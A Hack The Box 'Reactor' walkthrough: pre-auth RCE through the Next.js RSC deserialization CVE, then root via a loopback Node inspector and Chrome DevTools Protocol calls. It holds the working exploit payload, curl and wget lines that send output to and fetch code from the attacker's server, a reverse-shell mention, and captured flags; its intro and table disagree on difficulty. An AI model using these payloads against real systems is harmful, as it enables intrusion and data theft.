Reactor — HTB Season 15

Published on: 5/29/2026

Summary: Reactor is an easy-difficulty Linux box (Ubuntu 24.04) that rewards reading docs over brute force. Recon is sparse — the usual top-100 ports look filtered, so widen your scan and pay close attention to every version string you find on the exposed service; the foothold is a recent framework-level pre-auth RCE that sits exactly in that version window. The PoC is publicly available, but the RCE primitive has real limits on output (newlines and quotes will break your payload), and the box's egress is restricted — common 4444/443/80 reverse shells will silently die, so plan a reliable I/O channel before you start spraying commands. Once inside, skip linpeas for a moment and just list listening ports and systemd unit files; the privesc path is written plainly in a unit's User= and ExecStart= lines, where you'll spot a very recognisable Node debug flag bound to loopback. Exploiting it needs a little Chrome DevTools Protocol (hand-rolled WebSocket + Runtime.evaluate); be aware the target script is an ES module, so require is gone and await import() will throw — there's one classic Node trick that gets around this and it's seconds away once you know it. No AD, no Windows, no brute force — just CVE awareness plus a bit of Node.js internals. Enjoy.


Reactor — HTB Season 15

Field Value
Box Reactor
Season S15
Difficulty Medium
OS Linux (Ubuntu 24.04.4 LTS)
IP 10.129.7.252
User flag b7bdab96927c5234cd7a3b394d59737d
Root flag 2af6f2ab1a6699b475c4958390f24c9a

TL;DR

  1. The box runs ReactorWatch — a Next.js 15.0.3 app on port 3000.
  2. Next.js 15.0.3 is vulnerable to CVE-2025-55182 / CVE-2025-66478 — an RSC (React Server Components) deserialization bug that yields pre-auth RCE through a crafted multipart/form-data POST with a Next-Action header. Exploit lands as the unprivileged node user.
  3. Enumeration reveals a second service, uptime-monitor.service, running as root with node --inspect=127.0.0.1:9229. The Node Inspector is bound to loopback only, but we're already inside the box.
  4. Connect to ws://127.0.0.1:9229/<uuid> with the Chrome DevTools Protocol and call Runtime.evaluate with process.mainModule.require('child_process').execSync(...) — code runs as root.
  5. Read user.txt and root.txt.

1. Reconnaissance

1.1 Port scan

nmap -Pn -T4 --min-rate 1000 -F -oN nmap/quick.txt 10.129.7.252
# 100 ports filtered

nmap -Pn -sT -T4 -p 21,22,53,80,443,1337,2222,3000,3306,5000,5432,5984,6379,7000,7070,7474,7687,8000,8008,8080,8081,8443,8888,9000,9090,9200,9300,11211,27017,50000 \
     -oN nmap/common-alt.txt 10.129.7.252
# Only 22 and 3000 are open
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

1.2 Service identification

nmap -Pn -sC -sV -p 22,3000 -oN nmap/services.txt 10.129.7.252

Key fingerprint snippets:

22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    (Next.js)
        X-Powered-By: Next.js
        x-nextjs-cache: HIT

Hitting the root with curl returns the ReactorWatch v3.2.1 dashboard — a Server-Side-Rendered Next.js application.

2. Vulnerability Analysis — CVE-2025-55182 / CVE-2025-66478

Next.js's React Server Components flow accepts a serialized "model" payload when the Next-Action header is present. The deserializer evaluates JavaScript expressions encoded in the _response._prefix field. By chaining __proto__ and constructor:constructor to reach the JavaScript Function constructor, the prefix is compiled and executed inside the Next.js Node worker.

  • Affected: Next.js ≥ 13.x through 15.0.4 (running in production)
  • Auth required: None
  • Vector: A single POST / request with Next-Action: x and a crafted multipart body
  • Result: Arbitrary command execution as the user running next start

Assetnote published the technical write-up; we use a derivative of their PoC.

3. Foothold — RCE as node

3.1 Exploit script

exploit/main.py builds the malicious multipart payload and parses the digest field returned in the 500 response. Core of the body:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('<CMD>',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:res});",
    "_chunks": "$Q2",
    "_formData": { "get": "$1:constructor:constructor" }
  }
}

Output is exfiltrated through error.digest in the 500 response.

python3 exploit/main.py http://10.129.7.252:3000 'id'
# [+] Command output:
# uid=999(node) gid=988(node) groups=988(node)

3.2 Reliable I/O channel

error.digest is unsuitable for long output (newlines and quotes mangle the JSON). I wrapped the primitive in exploit/rce.sh, which:

  1. base64-encodes the operator's command (no quoting headaches),
  2. runs echo $B64 | base64 -d | bash > /tmp/o_<rand>.txt 2>&1 on the box,
  3. exfiltrates the file via curl -X POST to a small upload server on the attacker (exploit/upload_server.py listening on 8001),
  4. prints the captured output locally.
./exploit/rce.sh 'cat /opt/reactor-app/.env'
# DB_PATH=/opt/reactor-app/reactor.db
# DB_TYPE=sqlite3
# SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
# ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# NODE_ENV=production

Egress restriction discovered: only outbound TCP/8000–8001 in my testing window reliably returned. Plain bash -i >& /dev/tcp/... revshells to 4444/443 silently failed. The upload-server channel sidesteps this entirely.

4. Privilege Escalation — noderoot via Node Inspector

4.1 Discovery

./exploit/rce.sh 'ss -tlnp 2>/dev/null'
# LISTEN 0 511  127.0.0.1:9229  *:*
# LISTEN 0 511  *:3000          next-server (v1...
./exploit/rce.sh 'systemctl cat uptime-monitor.service'
[Service]
Type=simple
User=root
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

A root-owned Node process exposes the V8 Inspector on 127.0.0.1:9229. The inspector accepts the Chrome DevTools Protocol over WebSocket — any client that reaches the port can call Runtime.evaluate and execute arbitrary JavaScript in the running process. From inside the box this is trivial.

4.2 Obtain the debug WebSocket URL

./exploit/rce.sh 'curl -s http://127.0.0.1:9229/json/list'
# "webSocketDebuggerUrl": "ws://127.0.0.1:9229/a5f4b187-181a-4e00-b662-e497f89a7883"

4.3 CDP client (exploit/cdp.py)

A self-contained Python client that:

  1. fetches /json/list to learn the WebSocket UUID,
  2. opens a raw TCP socket, sends the WebSocket handshake by hand (no websockets dependency),
  3. sends a single CDP frame:
{"id":1,"method":"Runtime.evaluate",
 "params":{"expression":"<JS>","returnByValue":true,"awaitPromise":true}}
  1. prints the reply containing result.value.
./exploit/rce.sh 'wget -q -O /tmp/cdp.py http://10.10.15.76:8001/cdp.py'

./exploit/rce.sh 'python3 /tmp/cdp.py "process.getuid()+\":\"+process.getgid()"'
# "result": { "type": "string", "value": "0:0" }

Root code execution confirmed.

4.4 ESM require quirk

worker.js is an ES module, so the global require is undefined and dynamic import() is disabled by the V8 sandbox (ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING). The bypass is process.mainModule.require, which is the CommonJS loader hung off the main module object — still available even in an ESM entry point because Node bootstraps the process through it.

./exploit/rce.sh 'python3 /tmp/cdp.py \
  "process.mainModule.require(\"child_process\").execSync(\"id; cat /home/engineer/user.txt /root/root.txt\").toString()"'
uid=0(root) gid=0(root) groups=0(root)
b7bdab96927c5234cd7a3b394d59737d
2af6f2ab1a6699b475c4958390f24c9a

5. Flag Capture

user.txt -> b7bdab96927c5234cd7a3b394d59737d
root.txt -> 2af6f2ab1a6699b475c4958390f24c9a

Both submitted via POST /api/v4/machine/own (id=900) — confirmed machine_pwned: true.

6. Key Techniques & Lessons

  • RSC deserialization (CVE-2025-55182 / CVE-2025-66478) turns a single POST into pre-auth RCE in any vulnerable Next.js 13–15 deployment. Patch by upgrading or by stripping the Next-Action header at the edge.
  • error.digest as an exfil channel is fragile — quotes and newlines blow up the JSON. A dedicated upload endpoint is the most reliable I/O wrapper around a one-shot RCE.
  • Node --inspect on production is a hard root. Even bound to loopback it is exploitable by anyone with command execution on the host. The fix is to never enable --inspect in a unit file, or to require --inspect-brk plus NODE_OPTIONS discipline.
  • ESM contexts lack require but process.mainModule.require('child_process') still works because the main module object is a CommonJS handle. A clean trick to remember for any post-exploitation against modern Node services.
  • Dynamic import is fenced off inside vm contexts unless an importModuleDynamically callback is registered, so don't waste time on await import('child_process') when attacking through the inspector.
Table of Contents